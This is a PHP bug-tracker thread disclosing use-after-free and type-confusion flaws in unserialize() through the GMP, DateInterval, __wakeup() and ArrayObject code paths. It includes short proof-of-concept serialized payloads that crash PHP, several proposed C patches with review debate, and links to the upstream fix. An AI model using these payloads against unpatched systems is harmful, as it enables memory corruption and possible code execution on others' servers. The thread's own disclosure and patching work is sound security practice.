Another UaF in unserialize() with DateInterval::__wakeup()/__wakeup()

gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
	mpz_ptr gmpnum;
	const unsigned char *p, *max;
	zval zv, *zv_ptr = &zv;
	int retval = FAILURE;
	php_unserialize_data_t unserialize_data = (php_unserialize_data_t) data;

	PHP_VAR_UNSERIALIZE_INIT(unserialize_data);
	gmp_create_ex(*object, &gmpnum TSRMLS_CC);

	p = buf;
	max = buf + buf_len;

	INIT_ZVAL(zv);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_STRING
		|| convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
	) {
		zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
		goto exit;
	}
	zval_dtor(&zv);

	INIT_ZVAL(zv);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}

	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
		zend_hash_copy(
			zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
			(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
		);
	}
```

unserialize() allow to use R: or r: to set references. so attacker can set references to the zval *object and freed it, then zend_std_get_properties will use that already freed memory. it is also possible to type-onfusion attack.

the following code should crash php:

via DateInterval::__wakeup()
```
$inner = 's:5:"12345";a:1:{i:0;O:12:"DateInterval":1:{s:1:"y";R:1;}}';
unserialize('C:3:"GMP":'.strlen($inner).':{'.$inner.'}');
```

via __wakeup()
```
class test
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 'AAAAAAAAAAAAAAAAAA';
	}
}

$inner = 's:5:"12345";a:1:{i:0;O:4:"test":1:{s:4:"ryat";R:1;}}';
unserialize('C:3:"GMP":'.strlen($inner).':{'.$inner.'}');
```

This appears to be a duplicate of bug #69425, could you explain what is the difference between them?

Oops, ignore me, it's the same one, I clicked wrong link :)

the fix (test on 5.6):

diff --git a/5.6.7/ext/gmp/gmp.c b/5.6.7-fixed/ext/gmp/gmp.c
index ba59acb..65d8d8e 100644
--- a/5.6.7/ext/gmp/gmp.c
+++ b/5.6.7-fixed/ext/gmp/gmp.c
@@ -649,7 +649,7 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c

 	INIT_ZVAL(zv);
 	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
-		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
+		|| Z_TYPE_P(zv_ptr) != IS_ARRAY || Z_TYPE_P(*object) != IS_OBJECT
 	) {
 		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
 		goto exit;
diff --git a/5.6.7/ext/standard/var_unserializer.c b/5.6.7-fixed/ext/standard/var_unserializer.c
index f322ef1..9bf8747 100644
--- a/5.6.7/ext/standard/var_unserializer.c
+++ b/5.6.7-fixed/ext/standard/var_unserializer.c
@@ -293,10 +293,11 @@ static inline size_t parse_uiv(const unsigned char *p)
 #define UNSERIALIZE_PARAMETER zval **rval, const unsigned char **p, const unsigned char *max, php_unserialize_data_t *var_hash TSRMLS_DC
 #define UNSERIALIZE_PASSTHRU rval, p, max, var_hash TSRMLS_CC

-static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
+static inline int process_nested_data(UNSERIALIZE_PARAMETER, long elements, int objprops)
 {
 	while (elements-- > 0) {
 		zval *key, *data, **old_data;
+		HashTable *ht;

 		ALLOC_INIT_ZVAL(key);

@@ -320,6 +321,12 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long
 			zval_ptr_dtor(&data);
 			return 0;
 		}
+
+		ht = HASH_OF(*rval);
+
+		if (!ht) {
+			return 0;
+		}

 		if (!objprops) {
 			switch (Z_TYPE_P(key)) {
@@ -427,7 +434,7 @@ static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
 		return 0;
 	}

-	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) {
+	if (!process_nested_data(UNSERIALIZE_PASSTHRU, elements, 1)) {
 		return 0;
 	}

@@ -822,7 +829,7 @@ yy34:

 	array_init_size(*rval, elements);

-	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_ARRVAL_PP(rval), elements, 0)) {
+	if (!process_nested_data(UNSERIALIZE_PASSTHRU, elements, 0)) {
 		return 0;
 	}

The similar bugs exists in SPL ArrayObject/SPLObjectStorage unserialization:

spl_array.c/spl_observer.c:
```
	if (!intern->std.properties) {
		rebuild_object_properties(&intern->std);
	}
```

unserialize() allow to use R: or r: to set references. so attacker can set references to the *intern and freed it, then rebuild_object_properties will use that already freed memory.

the following code should crash php:
```
$inner = 'x:i:0;O:12:"DateInterval":1:{s:1:"y";R:1;};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
// $inner = 'x:i:1;O:12:"DateInterval":1:{s:1:"y";R:1;};m:a:0:{}';
// $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);
```

I noticed that the latest commits in github, disable convert_to_* on DateInterval::__wakeup(), so this patch can fix part of this bug.

There's a lot of code on this bug, is any of it still relevant for latest version? It's kind of hard to track when there are so many issues in one ticket.

these codes had a lot of changes, when the latest update is released, i will check them again.

these bugs can be triggered via __wakeup() in latest of php.

the fix for ArrayObject:

```
SPL_METHOD(Array, unserialize)
{
-	spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(getThis() TSRMLS_CC);

+	zval *object = getThis();
+	spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(object TSRMLS_CC);
...
+	if (Z_TYPE_P(object) != IS_OBJECT) {
+		return;
+	}
	
	if (!intern->std.properties) {
		rebuild_object_properties(&intern->std);
	}

```

previous patch for GMP and process_nested_data is still valid.

oh, the fix for arrayobject has some errors, i will check it.

update fix:

```
SPL_METHOD(Array, unserialize)
{
-	spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(getThis() TSRMLS_CC);

+	zval *object = getThis();
+	spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(object TSRMLS_CC);

...

-		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
+		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(object) != IS_OBJECT) {

...

-	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
+	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY || Z_TYPE_P(object) != IS_OBJECT) {
```

I don't think it is a correct fix - the method should never be called on non-object. We can not check on every step in every object that the method is called on an object, this would make developing methods impossible. The check should happen somewhere else.

This type conversion only occurs in during deserialization, i don't think it need to check every step or anywhere.

update better fix for ArrayObject's deserialization bug:

diff --git a/php-5.6.13/spl_array.c b/php-5.6.13-fixed/spl_array.c
index 2c65210..08751c3 100644
--- a/php-5.6.13/spl_array.c
+++ b/php-5.6.13-fixed/spl_array.c
@@ -1735,7 +1735,10 @@ SPL_METHOD(Array, serialize)
  */
 SPL_METHOD(Array, unserialize)
 {
-	spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(getThis() TSRMLS_CC);
+	zval *object = getThis();
+	zval tmp = *object;
+	zval_copy_ctor(&tmp);
+	spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(&tmp TSRMLS_CC);
 
 	char *buf;
 	int buf_len;
@@ -1746,15 +1749,18 @@ SPL_METHOD(Array, unserialize)
 	long flags;
 
 	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &buf, &buf_len) == FAILURE) {
+		zval_dtor(&tmp);
 		return;
 	}
 
 	if (buf_len == 0) {
+		zval_dtor(&tmp);
 		return;
 	}
 
 	aht = spl_array_get_hash_table(intern, 0 TSRMLS_CC);
 	if (aht->nApplyCount > 0) {
+		zval_dtor(&tmp);
 		zend_error(E_WARNING, "Modification of ArrayObject during sorting is prohibited");
 		return;
 	}
@@ -1827,6 +1833,7 @@ SPL_METHOD(Array, unserialize)
 	/* done reading $serialized */
 
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+	zval_dtor(&tmp);
 	if (pflags) {
 		zval_ptr_dtor(&pflags);
 	}
@@ -1834,6 +1841,7 @@ SPL_METHOD(Array, unserialize)
 
 outexcept:
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
+	zval_dtor(&tmp);
 	if (pflags) {
 		zval_ptr_dtor(&pflags);
 	}

update fix for first bug:

diff --git a/php-5.6.13/var_unserializer.c b/php-5.6.13-fixed/var_unserializer.c
index 00b2f06..1f37f20 100644
--- a/php-5.6.13/var_unserializer.c
+++ b/php-5.6.13-fixed/var_unserializer.c
@@ -326,6 +326,16 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long
             var_push_dtor_no_addref(var_hash, &data);
 			return 0;
 		}
+		
+		if (Z_TYPE_PP(rval) != IS_ARRAY && Z_TYPE_PP(rval) != IS_OBJECT) {
+			var_push_dtor(var_hash, &data);
+        	var_push_dtor_no_addref(var_hash, &key);
+			if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
+				(*p)--;
+				return 0;
+			}
+			continue;
+		}
 
 		if (!objprops) {
 			switch (Z_TYPE_P(key)) {
@@ -435,7 +445,8 @@ static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
 		return 0;
 	}
 
-	if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
+	if (Z_TYPE_PP(rval) == IS_OBJECT &&
+		Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
 		zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
 		INIT_PZVAL(&fname);
 		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);

this patch can fix all these bugs:
```
	var_push_dtor_no_addref(var_hash, rval);
	}
	*rval = *rval_ref;
+	Z_ADDREF_PP(rval_ref);
+	if (Z_REFCOUNT_PP(rval) > 1) {
+		SEPARATE_ZVAL_IF_NOT_REF(rval);
+	}
	Z_ADDREF_PP(rval);
	Z_SET_ISREF_PP(rval);
```

As noted elsewhere, the fix above is not good since it breaks serializing references.

This has been fixed as part of https://github.com/php/php-src/commit/0426b916df396a23e5c34514e4f2f0627efdcdf0. The test case has been committed in https://github.com/php/php-src/commit/6477bb724e0c4e95dfc8f315cac4b7e7a692b0f8.